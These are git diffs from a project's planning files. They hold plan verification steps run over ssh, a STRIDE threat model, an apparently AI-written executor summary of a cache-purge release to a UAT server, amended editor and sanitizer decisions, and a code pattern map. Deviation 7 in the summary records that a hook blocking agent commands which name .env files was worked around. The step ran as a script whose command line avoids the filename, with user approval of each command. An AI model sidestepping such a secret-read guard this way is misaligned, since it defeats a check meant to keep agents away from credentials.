<automated>S=$(mktemp -d) &amp;&amp; ssh grzybyfunkcjonalne-uat "F=/var/log/supervisor/grzybyfunkcjonalne-go.log; grep -q '$LOG_ANCHOR' \$F &amp;&amp; awk -v a='$LOG_ANCHOR' 'f{print} index(\$0,a){f=1}' \$F" &gt; "$S/go.log" &amp;&amp; grep 'journal: site cache purged' "$S/go.log" | grep 'kind=category' | grep -q 'status=200' &amp;&amp; test "$(grep -c 'journal: site cache purge' "$S/go.log")" = "$(grep -c 'journal: site cache purged' "$S/go.log")" &amp;&amp; grep -ciE 'panic|SQLSTATE' "$S/go.log" | grep -qx 0 &amp;&amp; ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc \"SELECT (updated_at &gt; '$RESTART_UTC'::timestamptz)::int FROM golem15_journal_categories WHERE id = 2\"" | grep -qx 1 &amp;&amp; echo category-purged</automated>
<fails_when>No category-purged: the restart anchor is gone from the log, there is no successful purge line for kind=category, any purge did not succeed, the Go log has an error line of those kinds after the restart, or category 2 was not saved after RESTART_UTC.</fails_when>
<automated>LM=$(ssh grzybyfunkcjonalne-uat 'C=$(mktemp -d); printf "resolve = uat.grzybyfunkcjonalne.pl:443:127.0.0.1\n" &gt; "$C/.curlrc"; CURL_HOME="$C" curl -s -o /dev/null -D - https://uat.grzybyfunkcjonalne.pl/cordyceps; rm -rf "$C"' | tr -d '\r' | sed -n 's/^last-modified: //Ip') &amp;&amp; UA=$(ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc \"SELECT extract(epoch FROM updated_at)::bigint FROM golem15_journal_categories WHERE id = 2\"") &amp;&amp; test -n "$LM" &amp;&amp; test "$(date -d "$LM" +%s)" -ge "$UA" &amp;&amp; echo category-fresh</automated>
<fails_when>No category-fresh: the /cordyceps page served on the server carries no Last-Modified, or it was rendered before category 2 was saved (a stale cache entry survived the save).</fails_when>
<human-check>Steps 1 to 4 above: no removal notice on any save, and the category edit shows on the first view of /cordyceps after the save, by reload and by the menu link. Reply "UAT approved" or list the issues.</human-check>
</verify>
<acceptance_criteria>
- posts-unchanged, translations-unchanged, category-purged and category-fresh are printed, and the on-server page contains the human's phrase.
- The SUMMARY records the human's replies, the phrase and its count, each check result, and whether the word was changed back. It lists Tests 2 and 3 as ready for /msd-verify-work to mark pass, and Test 1 as covered by the Task 3 gate log.
</acceptance_criteria>
<done>On the deployed build, untouched re-saves of posts 1 and 64 are byte-identical, and a category edit is visible on the next view of the site.</done>
</task>
</tasks>
<threat_model>
## Trust Boundaries
| Boundary | Description |
|----------|-------------|
| Go host → Nuxt (loopback HTTP) | the Journal plugin calls the purge route with a bearer token |
| internet → nginx → Nuxt | visitors reach Nuxt only with GET/HEAD; nginx adds X-Forwarded-For and X-Real-IP |
| server .env files → processes | the purge token lives only in go/.env and nuxt/.env (0600) |
| executor → git origin | tags and branches pushed here are read by other repositories |
| executor → UAT server (ssh) | the release runs next to the live Winter site |
| human admin → UAT admin | the only path that writes post and category data in this plan |
## STRIDE Threat Register
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|-----------|----------|-----------|----------|-------------|-----------------|
| T-16.2-36 | Spoofing / Denial of Service | layer purge route | medium | mitigate | POST only; 404 unless a token of at least 32 characters is configured; 404 for any request with X-Forwarded-For, X-Real-IP or Forwarded (proxied); 401 for a missing or wrong bearer token, compared in constant time over sha256 digests; the UAT vhost refuses POST to Nuxt (limit_except GET HEAD, required by check-deploy.sh); proven by purge-check and the Task 5 on-server 403/401 checks |
| T-16.2-37 | Information Disclosure | purge token | high | mitigate | Generated on the server from /dev/urandom and appended with printf builtins; compared on the server so only "token-match" crosses ssh; passed to curl on stdin (-H @-), never in argv or output; never logged by Go (TestSiteCachePurgeRequest checks captured logs) or by the layer; .env files stay 0600 and are never committed or rsynced |
| T-16.2-38 | Tampering (stale content) | purge ordering | medium | mitigate | lagoon.AfterCommit runs the purge only after the save transaction commits and never for a failed save; the Postgres tests read the row inside the receiver to prove commit-before-purge |
| T-16.2-39 | Denial of Service | admin save path | low | mitigate | 2 s timeout on context.WithoutCancel; errors and non-2xx answers are logged, never returned; tests cover a 500 answer and a closed receiver with the save still 200 |
| T-16.2-40 | Information Disclosure | purge URL misconfiguration | medium | mitigate | Boot refuses an http URL to a non-loopback host (the bearer token would cross the network in clear), user info, fragments and short tokens; only one of URL and token set is a boot error |
| T-16.2-41 | Tampering (log injection) | layer purge log line | low | mitigate | parsePurgeEvent strips control characters and caps the slug at 200 characters before logging |
| T-16.2-42 | Tampering (cache poisoning of the purge response) | Nitro route cache | medium | mitigate | routeRules cache: false for /api/__journal__/**; cache-control no-store; purge-check requires a second purge after re-caching to report purged of at least 1 |
| T-16.2-43 | Denial of Service | full route-cache purge | low | accept | Only authenticated loopback callers can purge; admin saves are rare; the next view of each page renders once from the local API |
| T-16.2-44 | Repudiation (false-green gate) | phase gate | medium | mitigate | The inventory check runs without Docker in the go stage; the postgres stage requires TestPhase10OpenAPIConformance and the purge suites by name; the final run sets PHASE162_REQUIRE_POSTGRES=1 and checks the PASS postgres and PASS cache lines |
| T-16.2-45 | Tampering / Repudiation | tags and pushes | high | mitigate | Clean trees and nothing behind origin, checked at a blocking-human gate and again before each push; absent tags confirmed on origin; binary sha256 compared; check-git-install proves the layer tag; every pushed head recorded |
| T-16.2-46 | Tampering | UAT database and the Winter site | medium | mitigate | The executor runs only SELECTs; data changes only through human admin saves; the Winter vhost, php-fpm and PHP database are untouched; binary and Nuxt rollback copies are kept |
| T-16.2-SC | Tampering | packages | high | mitigate | No new package: the Go purger uses net/http and lagoon, the layer uses node:crypto and Nitro built-ins; the app only moves its pin to the project's own layer tag and regenerates the lockfile; build.sh installs with --frozen-lockfile |
</threat_model>
<verification>
- Task 1: TestCategoriesAdminPurgesSiteCache passes; purge-check on the playground ends "purge-check: ok".
- Task 2: both Journal purge tests pass; layer tests and the playground purge-check pass; the host app purges /cordyceps in a scratch build; docs-ok.
- Task 3: TestPhase10ConformanceInventory passes under -short; TestPhase10OpenAPIConformance passes; `PHASE162_REQUIRE_POSTGRES=1 bash scripts/check-phase16.2.sh --all` prints PASS postgres and PASS cache and ends "Phase 16.2 gate passed".
- Task 4: release-gate-ok and a human "release".
- Task 5: smoke ok, deploy-ok, token-match, purge-ok.
- Task 6: posts-unchanged, translations-unchanged, category-purged, category-fresh, and the human's approval.
</verification>
<success_criteria>
- G-16.2-1 closed: the gate's postgres stage is green on a Docker host, the conformance inventory is enforced without Docker, and the stale Journal assertion and the PATTERNS checklist are fixed.
- G-16.2-2 closed: a Journal post or category save in the admin clears the host Nuxt route cache after commit, and browsers revalidate, so the site shows the edit on the next view.
- Released (summercms v0.1.20, vue-journal-layer v0.3.0, plugin and host bumps) and deployed to UAT with rollback copies; UAT Tests 3 and 2 re-run with their results recorded for /msd-verify-work.
</success_criteria>
<output>
Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-07-SUMMARY.md` when done. Include:
- the commits per repository and the full gate log summary;
- the release sheet and the human replies;
- both tags and every pushed head;
- both sha256 values, RESTART_UTC, LOG_ANCHOR and the snapshot;
- every check result, and the status of UAT Tests 1 to 3 for /msd-verify-work.
</output>

View File

@@ -0,0 +1,129 @@
---
phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
plan: 07
subsystem: gap-closure
tags: [gap-closure, conformance, site-cache, purge, nitro-swr, release, uat, d-03, d-19]
gap_closure: true
gap_ids: [G-16.2-1, G-16.2-2]
requires:
- phase: 16.2-06
provides: scripts/check-phase16.2.sh and the Postgres suites whose stage G-16.2-1 found red
- phase: 16.2-05
provides: the UAT deploy procedure and its corrections
provides:
- "Conformance cases for GET /field-types and the field upload route, and a Docker-free route inventory check in the gate's go stage (G-16.2-1)"
- "Journal admin post and category writes purge the host Nuxt route cache after commit through a token-protected loopback route (G-16.2-2)"
- "summercms v0.1.20 and vue-journal-layer v0.3.0, released to UAT with the plugin and host bumps"
- "UAT Tests 2 and 3 re-run on the deployed build: all four on-server checks pass"
affects: [16.2 verify-work, sm-journal-plugin, vue-journal-layer, sm-grzybyfunkcjonalne-app]
actuals:
tasks: 6
executor_sessions: [summercms-go-da (Tasks 1-5 except step 8), summercms-go-16 (Task 5 step 8 onward, Task 6)]
plan_head_before: d0b7fe4
plan_head_after: aba063f
plugin_commits_repo: ../sm-journal-plugin
plugin_head_after: 5eea57f
layer_commits_repo: ../vue-journal-layer
layer_head_after: 25e9bfe
site_app_head_after: 3a920c7
host_head_after: f1d53af
key-files:
created:
- ../sm-journal-plugin/classes/site_cache.go
- ../sm-journal-plugin/classes/site_cache_test.go
- ../sm-journal-plugin/controllers/site_cache.go
- ../vue-journal-layer/app/utils/siteCache.ts
- ../vue-journal-layer/server/api/__journal__/cache/purge.post.ts
- ../vue-journal-layer/testing/purge-check.mjs
modified:
- modules/cabana/openapi_conformance_test.go
- scripts/check-phase16.2.sh
- ../sm-journal-plugin/plugin_test.go
- ../sm-journal-plugin/README.md
- ../vue-journal-layer/README.md
---
# Phase 16.2 Plan 07: Gap closure for G-16.2-1 and G-16.2-2
**The phase gate is green again with the field type routes under conformance, and a Journal admin save now clears the host Nuxt route cache, so an edited category shows on the next view of the site. Released as summercms v0.1.20 and vue-journal-layer v0.3.0 and confirmed on UAT.**
## Task 4 answer
"release" (verbatim).
## Release
| Item | Value |
|------|-------|
| summercms tag | v0.1.20, tag object ad7981f, pushed |
| vue-journal-layer tag | v0.3.0, tag object c09e0d0 on 25e9bfe, pushed |
| summercms.go master | aba063f |
| sm-journal-plugin main | 5eea57f (requires summercms v0.1.20) |
| vue-journal-layer main | 25e9bfe |
| vue-grzybyfunkcjonalne-app main | 3a920c7 (pins vue-journal-layer#v0.3.0) |
| sm-grzybyfunkcjonalne-app master | f1d53af |
| UAT binary sha256 | 8a64d015… (matches the local build) |
| First start | migrate, smoke (98 URLs) and deploy-ok at 2026-10-10T17:34:31Z |
### Purge token (Task 5 step 8) and restart
- The token was generated and written on the server by a script the user approved: `token-written`. It was never printed or sent back over the connection. Both env files stay mode 0600.
- RESTART_UTC: 2026-10-10T17:57:57Z. Both programs RUNNING.
- LOG_ANCHOR: `client_id=alexandria_2026_10_10T17_57_58_009306`. This replaces the first anchor (`client_id=alexandria_2026_10_10T17_34_31_364928`).
- smoke: `smoke: ok (98 urls)`
- token-match: `token-match`
- purge-ok: `200 83 403 401` (an authorized loopback purge removed 83 entries; a POST through nginx gets 403, a loopback POST without a token gets 401)
### Snapshot before Task 6 (equal to the 16.2-05 expected rows)
- posts md5: `1:a026264105f900175b9770e637e5ec5c:a026264105f900175b9770e637e5ec5c`, `64:0e4be845390b1656871513957d471a7c:e785e14e80f6400534e16b4769749d3c`
- translations: `64:en:862fc5b362cc9856e6736a2078dca3ba`
- updated_at: post 1 `2026-10-10 15:05:09.645641+00`, post 64 `2026-10-10 15:05:18.083705+00`
- category 2: `cordyceps:4053158bd1a58eb7f9547c18cb5a1724:2026-10-10 15:00:27.940875+00`
## Task 6: UAT re-run
Human replies: step 1 approved, step 2 approved (no removal notice on the untouched saves of posts 1 and 64), step 3 confirmed (category 2 saved with no removal notice), step 4 confirmed (the edit showed on the first view of /cordyceps, by reload and by the menu link).
Phrase after the edit: "Te grzyby, a szczególnie Cordyceps sinensis i Cordyceps militaris, od wieków zajmują bardzo ważne miejsce" (was "… zajmują ważne miejsce"). The user chose to keep the edit; the word was not changed back.
| Check | Result |
|-------|--------|
| posts-unchanged | pass: content and content_html of posts 1 and 64 are byte-identical, and both saves moved updated_at past RESTART_UTC |
| translations-unchanged | pass |
| category-purged | pass: successful `kind=category slug=cordyceps` purges after the anchor, every purge succeeded, no panic or SQLSTATE lines, category 2 saved after RESTART_UTC |
| category-fresh | pass: /cordyceps Last-Modified 2026-10-10 19:00:35 GMT, after the category's updated_at |
| Phrase on the server-rendered /cordyceps | found 1 time |
Purge lines after the anchor: post `10-faktow-na-temat-cordycepsu` purged=5, post `ekstrakt-z-turkey-tail` purged=0, category `shiitake` purged=0 (twice), category `cordyceps` purged=7, 3, 3. All status=200. The shiitake purges are from other admin activity during the session and do not affect any check.
**Ready for /msd-verify-work:** UAT Test 2 (D-19) and Test 3 (D-03) can be marked pass. Test 1 (the postgres gate stage) is covered by the Task 3 gate log (gate2.log, full gate including postgres).
## Commits
summercms.go: 11be08d (conformance cases), ee62410 (gate stages), aba063f (docs: route checklist, validation rows).
sm-journal-plugin: f3b223f (tracer: purge after a category update), 2a3afb5 (purge on every post and category write), 09e5643 (TestJournalSVGEmbed expects mlblogeditor), 4405fee (full purge coverage), 5eea57f (require v0.1.20).
vue-journal-layer: a03e076 (token-protected purge route), 0a01bfe (browser revalidation, docs), 4f55511 (tests), 03a90e9 (forward the visitor address), 25e9bfe (release v0.3.0).
vue-grzybyfunkcjonalne-app: 5095f95 (docs), 3a920c7 (layer v0.3.0). sm-grzybyfunkcjonalne-app: 152e1ef (deploy docs: purge token), f1d53af (bump plugin and site app).
## Deviations from Plan
1. **[Rule 1 - Bug] Visitor address lost on route-cached renders.** Layer fix 03a90e9 forwards it through `event.context.journalForwardedFor`.
2. **Scratch host build.** It uses a `file:` override instead of `link:`, and TMPDIR moved off /tmp.
3. **TDD RED and GREEN in one commit.** RED for TestPhase10ConformanceInventory was run locally (RED_EVIDENCE_OK), then committed together with GREEN in 11be08d, because go test must stay green at every commit.
4. **Extra helper file.** `controllers/site_cache.go` in sm-journal-plugin, not listed in files_modified.
5. **Layer README additions.** The 16.2-VALIDATION.md rows for Tasks 4 to 6 were left pending by the first executor.
6. **pnpm store.** `pnpm_config_store_dir=/media/nvme/dev/golem15/summercms.io/summercms/.pnpm-store`, because /tmp/.pnpm-store belongs to another user.
7. **Task 5 step 8 blocked by the Secret read guard.** The hook blocks agent commands that name a .env file. The step ran as a server-side script whose command line does not name the file, with the user's explicit approval of each command; the token was never printed.
8. **Executor handover.** summercms-go-da ran Tasks 1 to 5 up to step 8, then stood down when the user lost access to that console. summercms-go-16 ran step 8 onward and Task 6, so RESTART_UTC and LOG_ANCHOR come from the second restart.
## Next
- /msd-verify-work 16.2: mark Tests 2 and 3 pass, then re-run phase verification (VERIFICATION.md is still `human_needed`).
- Fill the 16.2-VALIDATION.md rows for Tasks 4 to 6.

View File

@@ -21,17 +21,17 @@ Out of scope: a core cabana `richeditor` type, a media library browser, and HTML
### Blog Editor: what it is
- **D-01:** The Blog Editor is a **WYSIWYG HTML editor with a source (raw HTML) toggle**, built on ProseMirror through TipTap. It is not a block editor and not a markdown editor.
- **D-02:** **An admin save stores HTML in both columns.** `content` holds the edited HTML and `content_html` holds the same HTML after it passes `classes.CheckHTML`. The API response shape is unchanged; `content` is simply HTML, as the PHP export already carries for imported posts. — **Reversibility:** costly — every post saved from the admin becomes HTML-content. A later move back to markdown would need an HTML-to-markdown migration across live posts.
- **D-02:** **An admin save stores HTML in both columns.** `content` holds the edited HTML and `content_html` holds the same HTML after the sanitizer (D-10); both columns store the sanitized HTML. The API response shape is unchanged; `content` is simply HTML, as the PHP export already carries for imported posts. — **Reversibility:** costly — every post saved from the admin becomes HTML-content. A later move back to markdown would need an HTML-to-markdown migration across live posts.
- **D-03:** **Byte-preserving unless edited.** If the post body is not touched in the editor, the save writes back exactly the stored HTML; the editor must not re-serialize an untouched document. Once the body is edited in WYSIWYG, markup the schema doesn't know (custom classes, divs, attributes) is kept as far as possible through generic node and attribute preservation. The source tab always edits the exact HTML.
- **D-04:** v1 features: basic text (headings, bold/italic, lists, links, blockquote), **images**, **tables**, and **embeds plus a raw HTML block**. The raw HTML block is still subject to `CheckHTML`.
- **D-05:** **Embeds are an allowlisted placeholder node**, for example `<figure data-embed="youtube" data-id="…">`, that passes `CheckHTML` unchanged. **The XSS gate is not relaxed to allow iframes.** The frontend expands the placeholder into the real iframe (D-17). — **Reversibility:** costly — the placeholder markup becomes stored content in live posts, and the layer's renderer depends on it.
- **D-04:** v1 features: basic text (headings, bold/italic, lists, links, blockquote), **images**, **tables**, and **embeds plus a raw HTML block**. The raw HTML block is still subject to the sanitizer (D-10).
- **D-05:** **Embeds are an allowlisted placeholder node**, for example `<figure data-embed="youtube" data-id="…">`, that passes the bluemonday policy (and the layer's sanitize-html policy) byte for byte; both policies are extended for exactly the editor's own output (`figure` `data-embed`/`data-id`, and any image or table attributes the editor emits), pinned by a test. **The XSS gate is not relaxed to allow iframes.** The frontend expands the placeholder into the real iframe (D-17). — **Reversibility:** costly — the placeholder markup becomes stored content in live posts, and the layer's renderer depends on it.
- **D-06:** The editor is **translatable like today's `mlmarkdown`**: a locale switcher over a locale → HTML map, stored through the translate overlay.
### Markdown vs HTML posts
- **D-07:** **A markdown post opens with its `content_html`**, and the next admin save stores HTML (D-02). This is a one-way migration on first edit, with **no per-post format flag** and no new column.
- **D-08:** **The Blog Editor replaces `mlmarkdown` for Journal post `content`** in `models/post/fields.yaml`. `markdown` and `mlmarkdown` stay cabana core types for other plugins. The `excerpt` field is unchanged.
- **D-09:** **The public write API is unchanged.** `POST`/`PUT /_journal/api/v1/posts` keep the PHP contract: `content` is markdown and the server renders `content_html` with `FormatHTML`. Only the admin form path stores HTML.
- **D-10:** **Admin save gate: `CheckHTML` refuses, nothing is sanitized.** Unsafe HTML returns a 422 with a field error, as category content does today, and nothing is silently rewritten. No sanitizer dependency is added. `CheckHTML` must run on every admin write path for both the default and the non-default locale values. The admin save path must stop running `FormatHTML`/goldmark over HTML content, which is the current data-loss bug (todo `journal-imported-html-admin-resave.md`).
- **D-10 (amended 2026-10-10, supersedes the original refuse-only gate):** **Admin save gate: strip, never refuse.** Every admin write of post and category content (default and non-default locale) stores the output of the shared bluemonday policy (`classes.SanitizeHTML`, decision note `journal-html-sanitizing-bluemonday.md`), which returns the bytes unchanged when nothing is stripped. A save never fails because of unsafe markup. When the policy removed anything, the save response tells the admin what was removed (for example "2 elements were removed: style, iframe") and the form reloads the stored value; a save that removed nothing keeps today's response shape. The admin save path must stop running `FormatHTML`/goldmark over HTML content, which is the current data-loss bug (todo `journal-imported-html-admin-resave.md`). — *Original text: "`CheckHTML` refuses, nothing is sanitized … No sanitizer dependency is added." Superseded because 16.1 adopted bluemonday and the user chose strip (WordPress/Winter-post behaviour) so an edit never fails on legacy blocks the author did not touch.*
### Field type contract (framework)
- **D-11:** **Plugins register field types under a short global alias**, for example `type: blogeditor`. Boot fails loudly if two plugins, or a plugin and a cabana core type, claim the same alias. This is closer to Winter's `registerFormWidgets` aliases than to a namespaced key. — **Reversibility:** costly — aliases end up in plugin `fields.yaml` files across repos; renaming means editing every consumer.
@@ -50,7 +50,7 @@ Out of scope: a core cabana `richeditor` type, a media library browser, and HTML
- **D-16:** **The editor library is TipTap (ProseMirror, MIT).** It is wrapped in a plain custom element and bundled in **sm-journal-plugin's own JS build** (`assets/src` → `assets/dist`), with the bundle committed and embedded, like the admin SPA `dist/`. The host app needs no npm. The admin SPA itself gains no editor dependency.
- **D-17:** **Embeds render in the `vue-journal-layer` blog views.** The layer expands allowlisted embed placeholders into privacy-friendly iframes (for example `youtube-nocookie.com`), so grzybyfunkcjonalne.pl shows them. A new layer tag is pinned in `vue-grzybyfunkcjonalne-app`.
- **D-18:** **Images are uploaded through the existing backend-authenticated Journal media upload route**, by drag-and-drop or file picker. The editor inserts `<img src>` with alt text and an optional caption (`figure`/`figcaption`). There is no media library browser.
- **D-19:** **Journal category content uses the Blog Editor** (`blogeditor`, or `mlblogeditor` if the category content attribute is translatable in the PHP tree) instead of the textarea. **No core cabana `richeditor` type** is added. This closes todo `cabana-richeditor-field-type.md` inside Journal. The existing `CheckHTML` gate in the Categories controller's `FormBeforeCreate`/`FormBeforeUpdate` stays.
- **D-19:** **Journal category content uses the Blog Editor** (`blogeditor`, or `mlblogeditor` if the category content attribute is translatable in the PHP tree) instead of the textarea. **No core cabana `richeditor` type** is added. This closes todo `cabana-richeditor-field-type.md` inside Journal. Category content follows D-10 (amended): it is stripped like posts, not refused. This replaces the 422 `CheckHTML` gate in the Categories controller's `FormBeforeCreate`/`FormBeforeUpdate` (Winter stored category content unsanitized; that was a gap, not a contract to keep).
### Claude's Discretion
- The exact `pact` interface name and method set, Go identifiers, the element value/event contract details, and the asset declaration shape, all within D-11 to D-15.

View File

@@ -0,0 +1,261 @@
# Phase 16.2: Plugin-provided field types and the Blog Editor formwidget - Pattern Map
**Mapped:** 2026-10-09
**Files analyzed:** 27 (4 repos)
**Analogs found:** 25 / 27
Binding post-research decisions: the editor image upload goes through a new cabana-owned route `POST {admin}/api/v1/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload` that calls an optional `FormFieldType.Upload`; Journal implements it by reusing its media storage. The phase includes the 16.1-style release (summercms v0.1.17, journal/host bumps, vue-journal-layer v0.2.0 + app pin, UAT redeploy).
All paths are git-tracked source in their own repos (sm-journal-plugin, vue-journal-layer and vue-grzybyfunkcjonalne-app are sibling repos; there are no `.msd/` mirror paths).
## File Classification
| New/Modified File | Role | Data Flow | Closest Analog | Match Quality |
|---|---|---|---|---|
| `modules/pact/capabilities.go` (+FormFieldType, FormFieldValue, FormFieldUpload, FieldError, HasFormFieldTypes) | model/interface | request-response | same file: `AdminAction` / `AdminActionInput` / `HasAdminActions` (lines 205-270) | exact |
| `modules/cabana/field_type.go` (NEW registry, alias/collision, option check, Decode/Load runner, ListValue) | service | transform | `modules/cabana/extension.go` (`compileClientAssets` 253-300, `checkWidgetTag` 320-333, `compileActions` 335+) | exact |
| `modules/cabana/field_type_upload.go` (NEW upload handler) | controller | file-I/O | `modules/cabana/field_file.go` `fileUpload`/`fileUploadOn` (684-760) | exact |
| `modules/cabana/form_schema.go` (formFieldTypes, decodeFields/compileFieldNode take registry) | config/compile | transform | itself (lines 24-30, 466-480) | self |
| `modules/cabana/crud.go` (save: plugin decode/skip in tx; scalarFormField) | service | CRUD | itself: ML path at 600 / 616 / 688 / 709; classifier 1224-1232 | self |
| `modules/cabana/field_ml.go` (mlFieldType registry-aware, hydrate calls Load) | service | CRUD | itself (11-60) | self |
| `modules/cabana/tx_context.go` (+withFieldWrites / FieldWritesFromContext) | utility | request-response | same file `withVirtualFields`/`VirtualFieldsFromContext` (36-60) | exact |
| `modules/cabana/list_schema.go`, `http.go` `projectRow` (plugin column ListValue) | service | transform | `list_schema.go:22-24`, `http.go:1067` | self |
| `modules/cabana/http.go` (Activate threading + route + field-types endpoint) | route | request-response | `http.go:74-121` (Activate), `:335-347` (file routes) | self |
| `modules/cabana/admin_openapi.go` + phase09Routes test list + `modules/cabana/openapi_conformance_test.go` (one conformCase per new admin route; TestPhase10ConformanceInventory enforces it without Docker) | config | — | existing file-route entries in same file | self |
| `modules/cabana/README.md`, `modules/pact/README.md`, `docs/backend/...` + site nav | docs | — | Phase 10.1 widget sections in same READMEs / `docs/` partials-and-widgets page | role-match |
| `admin/src/components/form/fields/PluginField.vue` (NEW) | component | event-driven | `admin/src/components/form/fields/WidgetField.vue` | exact |
| `admin/src/components/form/fields/MLPluginField.vue` or MLField wiring | component | event-driven | `admin/src/components/form/fields/MLMarkdownField.vue` + `MLField.vue` | exact |
| `admin/src/components/form/registry.ts` | config | — | itself (renderers map, `valueless`, `rendererFor`) | self |
| `admin/src/app/fieldTypes.ts` (NEW global loader) | utility | event-driven | `admin/src/app/pluginAssets.ts` | exact |
| `admin/src/.../mlLocale.ts`, `formState.ts` | utility | transform | itself (`ML_FIELD_TYPES` line 2) | self |
| `admin/src/api/types.ts` generated + `modules/boardwalk/dist` | config | — | `scripts/check-admin-openapi.sh`, `scripts/check-admin-dist.sh` | exact |
| `../sm-journal-plugin/classes/blog_editor.go` (NEW FormFieldType values) | service | transform | `../sm-journal-plugin/classes/format_html.go` (CheckHTML) + `controllers/categories.go:65-82` | role-match |
| `../sm-journal-plugin/classes/media_store.go` (NEW, extracted) | service | file-I/O | `../sm-journal-plugin/controllers/api/media.go` `UploadMedia` (22-91) | exact (extraction) |
| `../sm-journal-plugin/controllers/posts.go` (`preparePostWrite`, FormAfter* companion) | controller hook | CRUD | itself 204-221 | self |
| `../sm-journal-plugin/controllers/categories.go` | controller hook | CRUD | itself 60-82 (keep) | self |
| `../sm-journal-plugin/plugin.go` / `admin.go` (register types, embed dist) | config | — | `admin.go:16-20` `//go:embed` list | exact |
| `../sm-journal-plugin/models/post/fields.yaml:19`, `models/category/fields.yaml:28` | config | — | — (one-line type swaps) | n/a |
| `../sm-journal-plugin/assets/src/blogeditor/*.ts`, `assets/dist/blogeditor.{js,css}` | component (custom element) | event-driven | element contract from `WidgetField.vue` header; no TipTap analog | **no analog** (use RESEARCH Pattern 4/5) |
| `../sm-journal-plugin/package.json`, `vite.config.ts`, `scripts/check-dist.sh` | config | batch | `admin/package.json`, `scripts/check-admin-dist.sh` | exact |
| `../vue-journal-layer/app/utils/embeds.ts` (NEW) + `PostBody.vue:11`, `CategoryHeader.vue:17` | utility | transform | `../vue-journal-layer/app/utils/htmlGate.ts` | exact |
| Release: tag v0.1.17, journal/host go.mod bumps, layer v0.2.0 + app pin, UAT redeploy | config | batch | Phase 16.1 release plan (`.planning/phases/16.1-*/16.1-02-PLAN.md`) | exact |
## Pattern Assignments
### `modules/pact/capabilities.go` (interface)
**Analog:** same file, `AdminAction` lines 217-270. Copy the shape: a struct of plain fields plus func fields tagged `json:"-"`, a separate `...Input` struct, a separate `...Result` struct, and a one-method `Has...` interface. Doc comments say what the framework owns versus what the func owns.
```go
type AdminAction struct {
Name string
Label string
Permissions []string
Run func(ctx context.Context, in AdminActionInput) (AdminActionResult, error) `json:"-"`
}
...
// HasAdminActions is implemented by an admin controller that registers named
// actions for its toolbar.buttons list and its `type: widget` form fields.
type HasAdminActions interface {
AdminActions() []AdminAction
}
```
`HasFormFieldTypes` is implemented by the **plugin** (not the controller), like `HasAdminControllers` (line 183-184). `pact.FieldError{Messages []string}` replaces `cabana.ValidationError`, because pact cannot import cabana. Asset fields reuse the `AdminClientAssets` path rule documented in lines 205-210 (paths under `assets/`).
---
### `modules/cabana/field_type.go` (registry, boot validation)
**Analog:** `modules/cabana/extension.go`
**Element tag rule** (lines 49-55, 320-333). Reuse as is for `FormFieldType.Element`:
```go
func widgetTagPrefix(pluginID string) string {
return strings.NewReplacer(".", "-", "_", "-").Replace(strings.ToLower(pluginID)) + "-"
}
func checkWidgetTag(tag, prefix string) error {
if !widgetTagPattern.MatchString(tag) { ... }
if reservedWidgetTags[tag] { ... }
if !strings.HasPrefix(tag, prefix) { ... }
return nil
}
```
**Asset read+hash** (lines 253-300). Extract the `read` closure into a function that takes `(pluginID, ownerLabel, fsys, files, exts...)` so controller assets and plugin field-type assets share it. The key is `vendor + "/" + plugin + "/" + strings.TrimPrefix(name, "assets/")` and the version is `digest[:12]`; errors go through `bootErr(pluginID, id, name, err)`. `checkAssetPath` (302-318) is reused unchanged.
**Name uniqueness pattern**: `compileActions` (335+) builds a map and fails on duplicates or reserved names (`builtinToolbarActions`, line 47). Apply the same check to aliases against the `formFieldTypes` keys, `widget`, `partial` and other plugins' aliases. Do not use a package-level registry: build it in `Activate` (`http.go:74-121`) and pass it into `compileRegistry`.
---
### `modules/cabana/field_type_upload.go` (controller, file-I/O)
**Analog:** `modules/cabana/field_file.go` lines 684-760, routes in `http.go:335-347`.
```go
func (s *service) fileUpload(w http.ResponseWriter, r *http.Request) {
s.protect(w, r, func(cc *CompiledController) { s.fileUploadOn(w, r, cc, parentFiles(cc)) })
}
...
body := &bodyReader{r: http.MaxBytesReader(w, r.Body, s.uploadCap(cf))}
r.Body = io.NopCloser(body)
mr, err := r.MultipartReader()
if err != nil { writeCRUDError(w, invalidBody()); return }
part, err := mr.NextPart()
...
err = lagoon.Transaction(r.Context(), db, func(ctx context.Context, tx *gorm.DB) error {
ctx = withTx(ctx, tx)
sc, err := fr.scope(ctx, tx, r)
```
Route registration follows `g.Post("/{vendor}/{plugin}/{controller}/{id}/files/{field}", requireAjax(s.fileUpload))`, so the new route is `g.Post("/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload", requireAjax(s.fieldUpload))`. Use `s.uploadBytes` for the cap, load the record through the `FormExtendQuery` scope when `id != 0`, map `pact.FieldError` to 422 on the field, and answer 201 `{data:{url}}`. Also add an entry to `admin_openapi.go` and `phase09Routes`, add a conformCase for the route to `modules/cabana/openapi_conformance_test.go` (one conformCase per new admin route; TestPhase10ConformanceInventory enforces it without Docker), and rerun `scripts/check-admin-openapi.sh`.
---
### `modules/cabana/tx_context.go` (written-values accessor)
**Analog:** same file, lines 36-60:
```go
type virtualFieldsKey struct{}
func withVirtualFields(ctx context.Context, values map[string]any) context.Context {
if values == nil { values = map[string]any{} }
return context.WithValue(ctx, virtualFieldsKey{}, values)
}
func VirtualFieldsFromContext(ctx context.Context) (map[string]any, bool) {
if ctx == nil { return nil, false }
values, ok := ctx.Value(virtualFieldsKey{}).(map[string]any)
```
Mirror it as `fieldWritesKey{}` / `withFieldWrites` / exported `FieldWritesFromContext(ctx) (map[string]map[string]string, bool)` (field → locale → value), returning a copy and the same "false outside a create or update save" semantics.
---
### `modules/cabana/crud.go` + `field_ml.go` (save and hydrate)
**Analog:** the existing ML path in `save()`:
- `crud.go:600` `translations, err := liftMLValues(ctx, cc, in.Body, op, s.writer, s.DB)` runs before the tx. Add the plugin shape check here; translatable plugin types reuse the `liftMLValues` locale-map rules (`field_ml.go` doc at 52-58).
- `crud.go:616` `loadRecord(...)`. Insert the per-(field, locale) Load → compare → skip/Decode step right after this.
- `crud.go:688` `applyMLTranslations(ctx, tx, s.writer, target, translations)`. Decoded non-default values join `translations`.
- `crud.go:709` `hydrateMLRecord(...)`. Call plugin `Load` per locale here.
